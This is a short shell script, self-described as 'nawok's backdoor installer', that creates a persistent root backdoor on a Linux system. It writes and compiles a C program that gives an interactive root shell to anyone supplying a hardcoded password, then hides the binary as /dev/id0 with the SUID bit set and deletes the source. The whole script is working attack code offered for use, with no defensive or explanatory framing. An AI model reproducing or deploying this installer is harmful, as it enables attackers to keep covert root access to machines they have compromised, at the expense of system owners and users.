#!/bin/sh

# nawok's backdoor installer
# install: configure and run
# usage: <backdoor file> <password>
# www.nawok.org / nawok@nawok.org

SHELL="/bin/bash"
PASSWORD="abc123"
GCC="gcc"
FILE="/dev/id0"

echo ""
if [ ! $USER = root ]; then
  echo " * ERROR: According to \$USER, you're not root!"
    echo ""
      exit 0
      fi
      echo " * Creating..."
      cat >./id0.c <<_EOF_
      #include <unistd.h>
      #include <string.h>
      int main(int argc, char **argv) {
	if (argc < 2) { exit(0); }
	  if (!strcmp(argv[1], "$PASSWORD")) {
	      setuid(0);
		  setgid(0);
		      execl("$SHELL","bash","-i",0);
			}
			  return 0;
			  }
			  _EOF_
			  echo " * Compiling..."
			  $GCC ./id0.c -o ./id0
			  if [ ! -x ./id0 ]; then
			    rm -f ./id0.c
			      echo " * ERROR: Unable to compile backdoor, gcc does not work?"
				echo ""
				  exit 0
				  fi
				  echo " * Installing backdoor as $FILE"
				  mv ./id0 $FILE
				  chown root.root $FILE
				  chmod 4755 $FILE
				  echo " * Cleaning up..."
				  rm -f ./id0.c
				  if [ ! -u $FILE ]; then
				    echo " * ERROR: Our backdoor isn't SUID, or does not exist at all!"
				      echo " * Removing backdoor.."
					rm -f $FILE
					  echo " * Installation unsuccessful."
					    echo ""
					      exit 0
					      fi
					      echo " * Backdoor installed successfully!"
					      echo ""
					      echo "BACKDOOR: $FILE"
					      echo "PASSWORD: $PASSWORD"
					      echo ""
					      # EOF


